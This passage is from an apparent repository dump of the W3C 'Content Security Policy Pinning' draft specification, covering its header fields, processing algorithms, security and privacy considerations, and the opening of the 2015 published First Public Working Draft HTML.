ensure that pinning takes place\n    for a given user agent no matter how it accesses a site. The value of the\n    header SHOULD be the same for every <a>resource representation</a>, as the\n    goal is to enforce a consistent baseline policy for an entire set of hosts.\n  </section>\n\n  <section>\n    <h3 id=\"content-security-policy-report-only-pin-header-field\">\n      <code>Content-Security-Policy-Report-Only-Pin</code> Header Field\n    </h3>\n\n    The <code><dfn export>Content-Security-Policy-Report-Only-Pin</dfn></code>\n    header field is the mechanism for delivering a pinned policy that the user\n    agent MUST <a>monitor</a> for any resource which is not delivered with a\n    <code>Content-Security-Policy-Report-Only</code> header (as described in the\n    [[#apply-pinned-policy]] algorithm).\n    \n    The ABNF grammar is as follows:\n\n    <pre>\n      \"Content-Security-Policy-Report-Only-Pin:\" 1#&lt;<a lt=\"policy-token\">policy-token production from CSP, Section 4.1</a>&gt;\n    </pre>\n\n    As with <code><a>Content-Security-Policy-Pin</a></code>, a server MUST NOT\n    send a <code><a>Content-Security-Policy-Report-Only-Pin</a></code> header\n    with a <a>resource</a> delivered from an <a><i lang=\"la\">a priori</i>\n    insecure URL</a>. The threat is discussed in more detail in\n    [[#hostile-pinning]].\n\n    Note: This means that pin-reporting is only practically available over HTTPS.\n    This is intentional, as pinning is a powerful feature that ought to be\n    limited to secure contexts [[SECURE-CONTEXTS]].\n\n    A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy-Report-Only-Pin</code> with a given\n    <a>resource representation</a>.\n\n    A server SHOULD send a <code>Content-Security-Policy-Report-Only-Pin</code>\n    with every <a>resource representation</a> in order to ensure that pinning\n    takes place for a given user agent no matter how they access a site. The\n    value of the header SHOULD be the same for every <a>resource\n    representation</a>, as the goal is to monitor a consistent baseline policy\n    for an entire set of hosts.\n\n    ISSUE: What's the impact of reporting? If headers can be injected into\n    <code>appspot.com</code> or <code>newyorktimes.com</code>, can attackers use\n    reporting to determine what apps you're using, or what articles you're\n    reading? Brian\n    <a href=\"https://lists.w3.org/Archives/Public/public-webappsec/2015Feb/0164.html\">has\n    explored this space a bit</a>. Perhaps dropping reporting from pinned\n    policies would be reasonable. The main use-case I see would be discovering\n    pieces of your site that you haven't covered with a policy (e.g. where did\n    the pin decrease attack surface?). It's not clear we can even do that\n    without the implications Brian suggests.\n  </section>\n\n  <section>\n    <h3 id=\"csp-pins-syntax\">Pinned Policy Syntax</h3>\n\n    The grammar for a pinned policy is the same as the grammar for the\n    <code><a>Content-Security-Policy</a></code> header, defined in \n    <a lt=\"policy syntax\">Section 4.1 of the Content Security Policy\n    specification</a>.\n\n    A pinned policy's value MUST contain a <code><a>max-age</a></code>\n    directive, and MAY contain an <code><a>includeSubDomains</a></code>\n    directive.\n\n    <section>\n      <h4 id=\"max-age-directive\">The <code>max-age</code> directive</h4>\n\n      The <code><dfn>max-age</dfn></code> directive specifies the number of\n      seconds after the reception of the\n      <code><a>Content-Security-Policy-Pin</a></code> HTTP response header\n      field during which the UA SHOULD <a>enforce</a> the <a>pinned policy</a>.\n\n      The directive is defined via the following ABNF grammar:\n      \n      <pre>\n        directive-name  = \"max-age\"\n        directive-value = 1*DIGIT\n      </pre>\n\n      The <code>max-age</code> directive MUST be present within the\n      <code><a>Content-Security-Policy-Pin</a></code> header field. If it is not\n      present, the header field will be ignored (see [[#policy-processing]] for\n      user agent requirements).\n    </section>\n\n    <section>\n      <h4 id=\"includesubdomains-directive\">\n        The <code>includeSubDomains</code> directive\n      </h4>\n\n      The <code><dfn>includeSubDomains</dfn></code> directive signals to\n      the user agent that the <a>pinned policy</a> defined in the\n      <code><a>Content-Security-Policy-Pin</a></code> header field applies not\n      only to the <a>origin</a> that served the <a>resource representation</a>,\n      but also to any <a>origin</a> whose <a>host</a> component is a subdomain\n      of the <a>host</a> component of the <a>resource representation</a>'s\n      <a>origin</a> (see [[#policy-processing]] for user agent requirements).\n    </section>\n  </section>\n\n</section>\n\n<!-- Big Text: Processing -->\n<section>\n  <h2 id=\"policy-processing\">Pinned Policy Processing</h2>\n\n  The user agent discovers and processes pinned policies during <a>fetching</a>.\n  Upon receiving a response, the user agent will:\n\n  1. Sift through the HTTP headers according to the [[#discover-pinned-policy]]\n     algorithm to determine if the <a>pinned policy cache</a> for the response's\n     host needs to be updated.\n  2. Update the <a>pinned policy cache</a>, according to the [[#pin-policy]]\n     algorithm.\n  3. Update the response's headers to ensure that any relevant <a>pinned\n     policies</a> are applied, according to the [[#apply-pinned-policy]]\n     algorithm.\n\n  ISSUE: We probably need a hook in [[Fetch]]. In\n  particular, we need to ensure that we detect and pin a policy early enough\n  for <code>frame-ancestors</code> and <code>referrer</code> to handle blocking\n  and redirects.\n\n  Periodically, the user agent will run through the <a>pinned policies</a> it\n  has stored in the <a>pinned policy cache</a>, and remove those that have\n  expired, according to the [[#expire-pinned-policies]] algorithm.\n\n  <h3 id=\"fetching-algorithms\">Fetching Algorithms</h3>\n\n  <h4 id=\"discover-pinned-policy\">\n     Discover pinned policies for <var>response</var>\n  </h4>\n\n  Upon receiving a {{Response}} <var>response</var> containing at least one\n  <code><a>Content-Security-Policy-Pin</a></code> header field, the user agent\n  MUST peform the following steps:\n\n  <ol>\n    <li>\n      Let <var>origin</var> be the <a lt=\"origin of a url\">origin</a> of\n      <var>response</var>'s URL.\n    </li>\n\n    <li>\n      Let <var>value</var> be the result of <a lt=\"parse header\">parsing</a>\n      <code>Content-Security-Policy-Pin</code> in <var>response</var>'s\n      <a>header list</a>.\n    </li>\n\n    <li>\n      If <var>value</var> is not <code>null</code>, then execute the\n      [[#pin-policy]] algorithm, passing in <var>value</var>, the\n      <a lt=\"origin of a url\">origin</a> of <var>response</var>'s URL,\n      and <code>enforce</code>.\n    </li>\n\n    <li>\n      Let <var>value</var> be the result of <a lt=\"parse header\">parsing</a>\n      <code>Content-Security-Policy-Report-Only-Pin</code> in\n      <var>response</var>'s <a>header list</a>.\n    </li>\n\n    <li>\n      If <var>value</var> is not <code>null</code>, then execute the\n      [[#pin-policy]] algorithm, passing in <var>value</var>, the\n      <a lt=\"origin of a url\">origin</a> of <var>response</var>'s URL,\n      and <code>monitor</code>.\n    </li>\n  </ol>\n\n  <h4 id=\"pin-policy\">\n    Pin <var>policy</var> for <var>origin</var> in <var>mode</var>\n  </h4>\n\n  Given an <a>Origin</a> <var>origin</var>, a parsed set of directives\n  <var>policy</var>, and a <var>mode</var> (either <code>enforce</code> or\n  <code>monitor</code>), this algorithm defines the user agent behavior that\n  results in a <a>pinned policy</a> for <var>origin</var>.\n\n  <ol>\n    <li>\n      If <var>origin</var> is an <a><i lang=\"la\">a priori</i> insecure\n      origin</a>, output a developer-friendly warning, and abort these steps.\n    </li>\n\n    <li>\n      Let <var>host</var> be the host component of <var>origin</var>.\n    </li>\n\n    <li>\n      If <var>host</var> is an IPv4 or IPv6 address, output a developer-friendly\n      warning, and abort these steps.\n    </li>\n\n    <li>\n      Let <var>policy</var> be the result of executing the <a>parse the\n      policy</a> algorithm on <var>directives</var>.\n    </li>\n\n    <li>\n      If <var>policy</var> does <strong>not</strong> contain a\n      <code><a>max-age</a></code> directive, then output a developer-friendly\n      warning, and abort these steps.\n    </li>\n    <li>\n      Let <var>subdomains</var> be <code>true</code> if an\n      <code><a>includeSubDomains</a></code> is present in <var>policy</var>,\n      and <code>false</code> otherwise.\n    </li>\n    <li>\n      Let <var>TTL</var> be the number of seconds specified in\n      <var>policy</var>'s <code><a>max-age</a></code> directive. If more than\n      one such directive is present, let <var>TTL</var> be the largest value\n      specified.\n    </li>\n    <li>\n      Let <var>expiration</var> be the current time, plus <var>TTL</var>.\n    </li>\n    <li>\n      Remove any <code><a>max-age</a></code> and\n      <code><a>includeSubDomains</a></code> directives from <var>policy</var>.\n    </li>\n    <li>\n      Let <var>pinned</var> be the result of executing\n      [[#pinned-policy-for-host]] for <var>mode</var> and <var>host</var>.\n    </li>\n    <li>\n      If <var>pinned</var> is not <code>null</code>, then update the <a>pinned\n      policy</a> <var>pinned</var> as follows:\n   \n      <ol>\n        <li>\n          If <code><a>max-age</a></code> is <code>0</code>, then remove\n          <var>pinned</var> from the <a>pinned policy cache</a> and abort these\n          steps.\n        </li>\n\n        <li>\n          Otherwise:\n\n          <ol>\n            <li>\n              Set <var>pinned</var>'s <a>policy expiration date</a> to\n              <var>expiration</var>.\n            </li>\n            <li>\n              Set <var>pinned</var>'s <a>subdomains included</a> to\n              <var>subdomains</var>.\n            </li>\n            <li>\n              Set <var>pinned</var>'s <a>policy directive set</a> to\n              <var>policy</var>.\n            </li>\n          </ol>\n        </li>\n      </ol>\n    </li>\n    <li>\n      Otherwise, <var>host</var> is not a <a>protected host</a>. If\n      <var>TTL</var> is not <code>0</code>, then:\n     \n      <ol>\n        <li>\n          Let <var>pinned</var> be a new <a>pinned policy</a>.\n        </li>\n        <li>\n          Set <var>pinned</var>'s <a>protected host</a> to <var>host</var>.\n        </li>\n        <li>\n          Set <var>pinned</var>'s <a>policy expiration date</a> to\n          <var>expiration</var>.\n        </li>\n        <li>\n          Set <var>pinned</var>'s <a>subdomains included</a> to\n          <var>subdomains</var>.\n        </li>\n        <li>\n          Set <var>pinned</var>'s <a>policy directive set</a> to\n          <var>policy</var>.\n        </li>\n        <li>\n          Set <var>pinned</var>'s <a>mode</a> to <var>mode</var>. \n        </li>\n        <li>\n          Add <var>pinned</var> to the <a>pinned policy cache</a>.\n        </li>\n      </ol>\n    </li>\n  </ol>\n\n  <h4 id=\"apply-pinned-policy\">\n    Pin a policy to <var>response</var>\n  </h4>\n\n  Upon receiving a {{Response}} <var>response</var>, ensure that it contains\n  appropriate <code>Content-Security-Policy</code> headers by performing the\n  following steps:\n\n  <ol>\n    <li>\n      Let <var>host</var> be the <a>host</a> component of <var>response</var>'s\n      URL's <a lt=\"origin of a url\">origin</a>.\n    </li>\n\n    <li>\n      Let <var>pinned</var> be the result of executing\n      [[#pinned-policy-for-host]] for <code>enforce</code> and <var>host</var>.\n    </li>\n\n    <li>\n      If <var>pinned</var> is not <code>null</code>:\n\n      <ol>\n        <li>\n          Let <var>value</var> be the result of\n          <a lt=\"parse header\">parsing</a>\n          <code>Content-Security-Policy</code> in <var>response</var>'s\n          <a>header list</a>.\n        </li>\n\n        <li>\n          If <var>value</var> is <code>null</code>:\n\n          <ol>\n            <li>\n              Append a header named <code>Content-Security-Policy</code> with a\n              value of <var>pinned</var>'s <a>policy directive set</a> to\n              <var>response</var>'s <a>header list</a>.\n            </li>\n          </ol>\n        </li>\n      </ol>\n    </li>\n\n    <li>\n      Let <var>pinned</var> be the result of executing\n      [[#pinned-policy-for-host]] for <code>monitor</code> and <var>host</var>.\n    </li>\n\n    <li>\n      If <var>pinned</var> is not <code>null</code>:\n\n      <ol>\n        <li>\n          Let <var>value</var> be the result of\n          <a lt=\"parse header\">parsing</a>\n          <code>Content-Security-Policy-Report-Only</code> in\n          <var>response</var>'s <a>header list</a>.\n        </li>\n\n        <li>\n          If <var>value</var> is <code>null</code>:\n\n          <ol>\n            <li>\n              Append a header named\n              <code>Content-Security-Policy-Report-Only</code> with a value of\n              <var>pinned</var>'s <a>policy directive set</a> to\n              <var>response</var>'s <a>header list</a>.\n            </li>\n          </ol>\n        </li>\n      </ol>\n    </li>\n  </ol>\n\n  <h3 id=\"cache-algorithms\">\n    Pinned Policy Cache Algorithms\n  </h3>\n\n  <h4 id=\"pinned-policy-for-host\">\n    Get the <var>mode</var> pinned policy for <var>host</var>\n  </h4>\n\n  Given a <var>host</var>, and a <a>mode</a> <var>mode</var>, this algorithm\n  walks through the <a>pinned policy cache</a>, and returns the first matching\n  policy. If no policies match, this algorithm returns <code>null</code>.\n\n  Note: There ought to be at most one policy that matches, given the constraints\n  in [[#pin-policy]].\n\n  <ol>\n    <li>\n      For each <var>policy</var> in the <a>pinned policy cache</a>:\n\n      <ol>\n        <li>\n          If <var>policy</var>'s <a>mode</a> is not <var>mode</var>, skip to the\n          next policy in the <a>pinned policy cache</a>.\n        </li>\n        <li>\n          Let <var>match type</var> be the result of applying the <a>Known HSTS\n          Host domain name matching</a> algorithm specified in [[!RFC6797]] to\n          <var>host</var> and <var>policy</var>'s <a>protected host</a>.\n        </li>\n        <li>\n          If <var>match type</var> is <code><a>Superdomain Match</a></code>, and\n          <var>policy</var>'s <a>subdomains included</a> is <code>true</code>,\n          then return <var>policy</var>.\n        </li>\n        <li>\n          If <var>match type</var> is <code><a>Congruent Match</a></code>, then\n          return <var>policy</var>.\n        </li>\n      </ol>\n    </li>\n    <li>\n      Return <code>null</code>.\n    </li>\n  </ol>\n\n\n\n  <h4 id=\"expire-pinned-policies\">\n    Remove expired pinned policies from the cache\n  </h4>\n\n  Periodically, the user agent MUST remove expired policies from the <a>pinned\n  policy cache</a>. Removal will have no web-visible effect, as expired policies\n  will not modify {{Response}}s during <a>fetching</a>, but expired policies can\n  have privacy impact if they aren't removed completely (as they offer evidence\n  that a particular user visited a particular host at some point in the past).\n\n  Expired entries can be removed via the following steps:\n\n  <ol>\n    <li>\n      For each <var>policy</var> in the list of <a>pinned policies</a> contained\n      in the <a>pinned policy cache</a>:\n\n      <ol>\n        <li>\n          If <var>policy</var>'s <a>policy expiration date</a> is prior to the\n          current time, remove <var>policy</var> from the <a>pinned policy\n          cache</a>.\n        </li>\n      </ol>\n    </li>\n  </ol>\n</section>\n\n<section>\n  <h2 id=\"security-considerations\">Security Considerations</h2>\n\n  <h3 id=\"hostile-pinning\">Hostile Pinning</h3>\n\n  An active network attacker who is able to inject headers into a site's\n  responses may attempt to maliciously pin a <a>security policy</a> for a host\n  and its subdomains. Pinning <code>default-src 'none'</code> on a page that\n  wasn't built to work under such restrictions could deny service for an\n  entire application.\n\n  Unlike public key pinning [[PKP]], however, pinning a security policy cannot\n  completely deny access to a site. This means that maliciously (or\n  accidentally) pinned policies can be easily overridden in two ways:\n\n  <ol>\n    <li>\n      Authors SHOULD send a valid <a>security policy</a> down with each HTTP\n      response, and use the pin only as a backup (see [[#pins-as-defaults]]).\n\n      Note: A future version of this specification may add a directive which\n      prevents overriding the pinned policy (<code>no-override</code>?). This\n      would allow authors to choose a stricter deployment model, but would\n      remove this override possibility.\n    </li>\n    <li>\n      Authors may also rescind a pinned policy by sending a new\n      <code><a>Content-Security-Policy-Pin</a></code> header with a\n      <code><a>max-age</a></code> of <code>0</code>.\n    </li>\n  </ol>\n\n  Moreover, the risk of malicious injection is mitigated by the fact that we\n  only accept pins over secure and authenticated connections.\n</section>\n<section>\n  <h2 id=\"privacy-considerations\">Privacy Considerations</h2>\n\n  <h3 id=\"fingerprinting\">Fingerprinting</h3>\n\n  Similar to HSTS and HPKP, a <a>pinned security policy</a> could be used as a\n  \"supercookie\", setting a distinct policy for each user which can be used as\n  an identifier in combination with (or instead of) HTTP cookies.\n\n  For example, the <code>report-uri</code> directive could contain a unique\n  identifier (<code>report-uri https://example.com/endpoint?id=123</code>) which\n  could identify a user based on correlating violation reports with user\n  activity.\n\n  To mitigate this risk, user agents MUST:\n\n  <ol>\n    <li>\n      Clear the <a>pinned policy cache</a> when the user clears her browsing\n      data (cookies, site data, history, etc).\n    </li>\n    <li>\n      Refuse to process <code>Set-Cookie</code> response headers during the\n      <a>send violation reports</a> algorithm.\n    </li>\n  </ol>\n\n  ISSUE: Can we assume that subdomains are really owned by the owner of the\n  root domain? \n</section>\n<section>\n  <h2 id=\"authoring-considerations\">Authoring Considerations</h2>\n\n  <h3 id=\"pins-as-defaults\">Pins as a default</h3>\n\n  ISSUE: Explain something about the theory; pins act as a baseline for\n  resources that don't otherwise have a policy. Explain layering, granularity,\n  etc.\n\n  <h3 id=\"pins-override-meta\">Pins override <code>&lt;meta&gt;</code></h3>\n\n  Pinned policies are applied before <a element>meta</a> elements can be\n  discovered. This means that a resource delivered without a header that\n  specified a <a>security policy</a> will be subject to the policy pinned\n  for its host, even if it then delivers a policy via the mechanisms described\n  in the <a lt=\"delivery via meta element\">HTML <code>&lt;meta&gt;</code>\n  element</a> section of [[CSP]].\n</section>\n<!--\n████    ███    ██    ██    ███\n ██    ██ ██   ███   ██   ██ ██\n ██   ██   ██  ████  ██  ██   ██\n ██  ██     ██ ██ ██ ██ ██     ██\n ██  █████████ ██  ████ █████████\n ██  ██     ██ ██   ███ ██     ██\n████ ██     ██ ██    ██ ██     ██\n-->\n<section>\n  <h2 id=\"iana-considerations\">IANA Considerations</h2>\n\n  The permanent message header field registry should be updated\n  with the following registrations: [[!RFC3864]]\n\n  <section>\n    <h3 id=\"iana-content-security-policy-pin\">\n      Content-Security-Policy-Pin\n    </h3>\n\n    <dl>\n      <dt>Header field name</dt>\n      <dd>Content-Security-Policy-Pin</dd>\n\n      <dt>Applicable protocol</dt>\n      <dd>http</dd>\n\n      <dt>Status</dt>\n      <dd>standard</dd>\n\n      <dt>Author/Change controller</dt>\n      <dd>W3C</dd>\n\n      <dt>Specification document</dt>\n      <dd>This specification (See <code><a>Content-Security-Policy-Pin</a></code>\n      Header Field)</dd>\n    </dl>\n  </section>\n\n  <section>\n    <h3 id=\"iana-content-security-policy-report-only-pin\">\n      Content-Security-Policy-Report-Only-Pin\n    </h3>\n\n    <dl>\n      <dt>Header field name</dt>\n      <dd>Content-Security-Policy-Report-Only-Pin</dd>\n\n      <dt>Applicable protocol</dt>\n      <dd>http</dd>\n\n      <dt>Status</dt>\n      <dd>standard</dd>\n\n      <dt>Author/Change controller</dt>\n      <dd>W3C</dd>\n\n      <dt>Specification document</dt>\n      <dd>This specification (See <code><a>Content-Security-Policy-Report-Only-Pin</a></code>\n      Header Field)</dd>\n    </dl>\n  </section>\n</section>\n\n<section>\n  <h2 id=\"acknowledgements\">Acknowledgements</h2>\n\n  Yan Zhu kicked my butt to get this document out the door. I stole concepts\n  wholesale from both HSTS and PKP.\n</section>\n"
  },
  {
    "path": "pinning/published/2015-02-FPWD.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n <head>\n  \n  <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n  \n  \n  <title>Content Security Policy Pinning</title>\n  \n  \n  <link href=\"default.css\" rel=\"stylesheet\" type=\"text/css\">\n  \n  \n  <link href=\"https://www.w3.org/StyleSheets/TR/W3C-WD\" rel=\"stylesheet\" type=\"text/css\">\n  \n\n  <meta content=\"Bikeshed 1.0.0\" name=\"generator\">\n </head>\n \n\n <body class=\"h-entry\">\n\n  <div class=\"head\">\n  \n   <p data-fill-with=\"logo\"><a class=\"logo\" href=\"http://www.w3.org/\">\n    <img alt=\"W3C\" height=\"48\" src=\"https://www.w3.org/Icons/w3c_home\" width=\"72\">\n</a>\n</p>\n  \n   <h1 class=\"p-name no-ref\" id=\"title\">Content Security Policy Pinning</h1>\n  \n   <h2 class=\"no-num no-toc no-ref heading settled\" id=\"subtitle\"><span class=\"content\">W3C First Public Working Draft,\n    <time class=\"dt-updated\" datetime=\"2015-02-26\">26 February 2015</time></span></h2>\n  \n   <div data-fill-with=\"spec-metadata\">\n    <dl>\n     <dt>This version:\n     <dd><a class=\"u-url\" href=\"http://www.w3.org/TR/2015/WD-csp-pinning-20150226/\">http://www.w3.org/TR/2015/WD-csp-pinning-20150226/</a>\n     <dt>Latest version:\n     <dd><a href=\"http://www.w3.org/TR/csp-pinning/\">http://www.w3.org/TR/csp-pinning/</a>\n     <dt>Editor's Draft:\n     <dd><a href=\"https://w3c.github.io/webappsec/specs/csp-pinning/\">https://w3c.github.io/webappsec/specs/csp-pinning/</a>\n     <dt>Feedback:\n     <dd><span><a href=\"mailto:public-webappsec@w3.org?subject=%5Bcsp-pinning%5D%20feedback\">public-webappsec@w3.org</a> with subject line “<kbd>[csp-pinning] <var>… message topic …</var></kbd>” (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\" rel=\"discussion\">archives</a>)</span>\n     <dt>Issue Tracking:\n     <dd><a href=\"#issues-index\">Inline In Spec</a>\n     <dt class=\"editor\">Editor:\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"56384\"><a class=\"p-name fn u-email email\" href=\"mailto:mkwst@google.com\">Mike West</a> (<span class=\"p-org org\">Google Inc.</span>)\n    </dl>\n   </div>\n  \n   <div data-fill-with=\"warning\"></div>\n  \n   <p class=\"copyright\" data-fill-with=\"copyright\"><a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Copyright\">Copyright</a> © 2015 <a href=\"http://www.w3.org/\"><abbr title=\"World Wide Web Consortium\">W3C</abbr></a><sup>®</sup> (<a href=\"http://www.csail.mit.edu/\"><abbr title=\"Massachusetts Institute of Technology\">MIT</abbr></a>, <a href=\"http://www.ercim.eu/\"><abbr title=\"European Research Consortium for Informatics and Mathematics\">ERCIM</abbr></a>, <a href=\"http://www.keio.ac.jp/\">Keio</a>, <a href=\"http://ev.buaa.edu.cn/\">Beihang</a>). W3C <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer\">liability</a>, <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks\">trademark</a> and <a href=\"http://www.w3.org/Consortium/Legal/copyright-documents\">document use</a> rules apply.\n</p>\n  \n   <hr title=\"Separator for header\">\n</div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"abstract\"><span class=\"content\">Abstract</span></h2>\n\n  <div class=\"p-summary\" data-fill-with=\"abstract\">\n   <p>This document defines a new HTTP header that allows authors to instruct user\n\nagents to remember (\"pin\") and enforce a Content Security Policy for a set\nof hosts for a period of time.</p>\n\n</div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"status\"><span class=\"content\">Status of this document</span></h2>\n\n  <div data-fill-with=\"status\">\n   <p>\n  <em>This section describes the status of this document at the time of\n  its publication. Other documents may supersede this document. A list of\n  current W3C publications and the latest revision of this technical report\n  can be found in the <a href=\"http://www.w3.org/TR/\">W3C technical reports\n  index at http://www.w3.org/TR/.</a></em>\n\n</p>\n   <p>\n  This document was published by the\n  <a href=\"http://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a>\n  as a Working Draft. This document is intended to become a W3C Recommendation.\n\n</p>\n   <p>\n\tThe (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\">archived</a>) public mailing list\n\t<a href=\"mailto:public-webappsec@w3.org?Subject=%5Bcsp-pinning%5D%20PUT%20SUBJECT%20HERE\">public-webappsec@w3.org</a>\n\t(see <a href=\"http://www.w3.org/Mail/Request\">instructions</a>)\n\tis preferred for discussion of this specification.\n\tWhen sending e-mail,\n\tplease put the text “csp-pinning” in the subject,\n\tpreferably like this:\n\t“[csp-pinning] <em>…summary of comment…</em>”\n\n</p>\n   <p>\n  This document is a <strong>First Public Working Draft</strong>.\n\n</p>\n   <p>\n  Publication as a First Public Working Draft does not imply endorsement by the W3C\n  Membership. This is a draft document and may be updated, replaced or\n  obsoleted by other documents at any time. It is inappropriate to cite this\n  document as other than work in progress.\n\n</p>\n   <p>\n\tThis document was produced by the\n  <a href=\"http://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a>.\n\n</p>\n   <p>\n\tThis document was produced by a group operating under\n\tthe <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/\">5 February 2004 W3C Patent Policy</a>.\n\tW3C maintains a <a href=\"http://www.w3.org/2004/01/pp-impl/49309/status\" rel=\"disclosure\">public list of any patent disclosures</a>\n\tmade in connection with the deliverables of the group;\n\tthat page also includes instructions for disclosing a patent.\n\tAn individual who has actual knowledge of a patent which the individual believes contains <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#def-essential\">Essential Claim(s)</a>\n\tmust disclose the information in accordance with <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#sec-Disclosure\">section 6 of the W3C Patent Policy</a>.\n\n</p>\n   <p>\n  This document is governed by the <a href=\"http://www.w3.org/2014/Process-20140801/\" id=\"w3c_process_revision\">1 August 2014 W3C Process Document</a>.\n</p></div>\n\n  <div data-fill-with=\"at-risk\"></div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"contents\"><span class=\"content\">Table of Contents</span></h2>\n\n  <div data-fill-with=\"table-of-contents\" role=\"navigation\">\n   <ul class=\"toc\" role=\"directory\">\n    <li><a href=\"#intro\"><span class=\"secno\">1</span> <span class=\"content\">Introduction</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#use-cases\"><span class=\"secno\">1.1</span> <span class=\"content\">Use Cases</span></a>\n     </ul>\n    <li><a href=\"#key-concepts\"><span class=\"secno\">2</span> <span class=\"content\">Key Concepts and Terminology</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#terms-defined-here\"><span class=\"secno\">2.1</span> <span class=\"content\">Terms defined by this specification</span></a>\n     </ul>\n    <li><a href=\"#policy-delivery\"><span class=\"secno\">3</span> <span class=\"content\">Pinned Policy Delivery</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#content-security-policy-pin-header-field\"><span class=\"secno\">3.1</span> <span class=\"content\">\n      <code>Content-Security-Policy-Pin</code> Header Field\n    </span></a>\n      <li><a href=\"#content-security-policy-report-only-pin-header-field\"><span class=\"secno\">3.2</span> <span class=\"content\">\n      <code>Content-Security-Policy-Report-Only-Pin</code> Header Field\n    </span></a>\n      <li><a href=\"#csp-pins-syntax\"><span class=\"secno\">3.3</span> <span class=\"content\">Pinned Policy Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#max-age-directive\"><span class=\"secno\">3.3.1</span> <span class=\"content\">The <code>max-age</code> directive</span></a>\n        <li><a href=\"#includesubdomains-directive\"><span class=\"secno\">3.3.2</span> <span class=\"content\">\n        The <code>includeSubDomains</code> directive\n      </span></a>\n       </ul>\n     </ul>\n    <li><a href=\"#policy-processing\"><span class=\"secno\">4</span> <span class=\"content\">Pinned Policy Processing</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#fetching-algorithms\"><span class=\"secno\">4.1</span> <span class=\"content\">Fetching Algorithms</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#discover-pinned-policy\"><span class=\"secno\">4.1.1</span> <span class=\"content\">\n     Discover pinned policies for <var>response</var>\n  </span></a>\n        <li><a href=\"#pin-policy\"><span class=\"secno\">4.1.2</span> <span class=\"content\">\n    Pin <var>policy</var> for <var>origin</var> in <var>mode</var>\n  </span></a>\n        <li><a href=\"#apply-pinned-policy\"><span class=\"secno\">4.1.3</span> <span class=\"content\">\n    Pin a policy to <var>response</var>\n  </span></a>\n       </ul>\n      <li><a href=\"#cache-algorithms\"><span class=\"secno\">4.2</span> <span class=\"content\">\n    Pinned Policy Cache Algorithms\n  </span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#pinned-policy-for-host\"><span class=\"secno\">4.2.1</span> <span class=\"content\">\n    Get the <var>mode</var> pinned policy for <var>host</var>\n  </span></a>\n        <li><a href=\"#expire-pinned-policies\"><span class=\"secno\">4.2.2</span> <span class=\"content\">\n    Remove expired pinned policies from the cache\n  </span></a>\n       </ul>\n     </ul>\n    <li><a href=\"#security-considerations\"><span class=\"secno\">5</span> <span class=\"content\">Security Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#hostile-pinning\"><span class=\"secno\">5.1</span> <span class=\"content\">Hostile Pinning</span></a>\n     </ul>\n    <li><a href=\"#privacy-considerations\"><span class=\"secno\">6</span> <span class=\"content\">Privacy Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#fingerprinting\"><span class=\"secno\">6.1</span> <span class=\"content\">Fingerprinting</span></a>\n     </ul>\n    <li><a href=\"#authoring-considerations\"><span class=\"secno\">7</span> <span class=\"content\">Authoring Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#pins-as-defaults\"><span class=\"secno\">7.1</span> <span class=\"content\">Pins as a default</span></a>\n      <li><a href=\"#pins-override-meta\"><span class=\"secno\">7.2</span> <span class=\"content\">Pins override <code>&lt;meta></code></span></a>\n     </ul>\n    <li><a href=\"#iana-considerations\"><span class=\"secno\">8</span> <span class=\"content\">IANA Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#iana-content-security-policy-pin\"><span class=\"secno\">8.1</span> <span class=\"content\">\n      Content-Security-Policy-Pin\n    </span></a>\n      <li><a href=\"#iana-content-security-policy-report-only-pin\"><span class=\"secno\">8.2</span> <span class=\"content\">\n      Content-Security-Policy-Report-Only-Pin\n    </span></a>\n     </ul>\n    <li><a href=\"#acknowledgements\"><span class=\"secno\">9</span> <span class=\"content\">Acknowledgements</span></a>\n    <li><a href=\"#conformance\"><span class=\"secno\"></span> <span class=\"content\">Conformance</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#conventions\"><span class=\"secno\"></span> <span class=\"content\">Document conventions</span></a>\n      <li><a href=\"#conformant-algorithms\"><span class=\"secno\"></span> <span class=\"content\">Conformant Algorithms</span></a>\n      <li><a href=\"#conformance-classes\"><span class=\"secno\"></span> <span class=\"content\">Conformance Classes</span></a>\n     </ul>\n    <li><a href=\"#index\"><span class=\"secno\"></span> <span class=\"content\">Index</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#index-defined-here\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by this specification</span></a>\n      <li><a href=\"#index-defined-elsewhere\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by reference</span></a>\n     </ul>\n    <li><a href=\"#references\"><span class=\"secno\"></span> <span class=\"content\">References</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#normative\"><span class=\"secno\"></span> <span class=\"content\">Normative References</span></a>\n      <li><a href=\"#informative\"><span class=\"secno\"></span> <span class=\"content\">Informative References</span></a>\n     </ul>\n    <li><a href=\"#issues-index\"><span class=\"secno\"></span> <span class=\"content\">Issues Index</span></a>\n   </ul></div>\n\n  <main>\n\n\n\n\n\n\n\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" 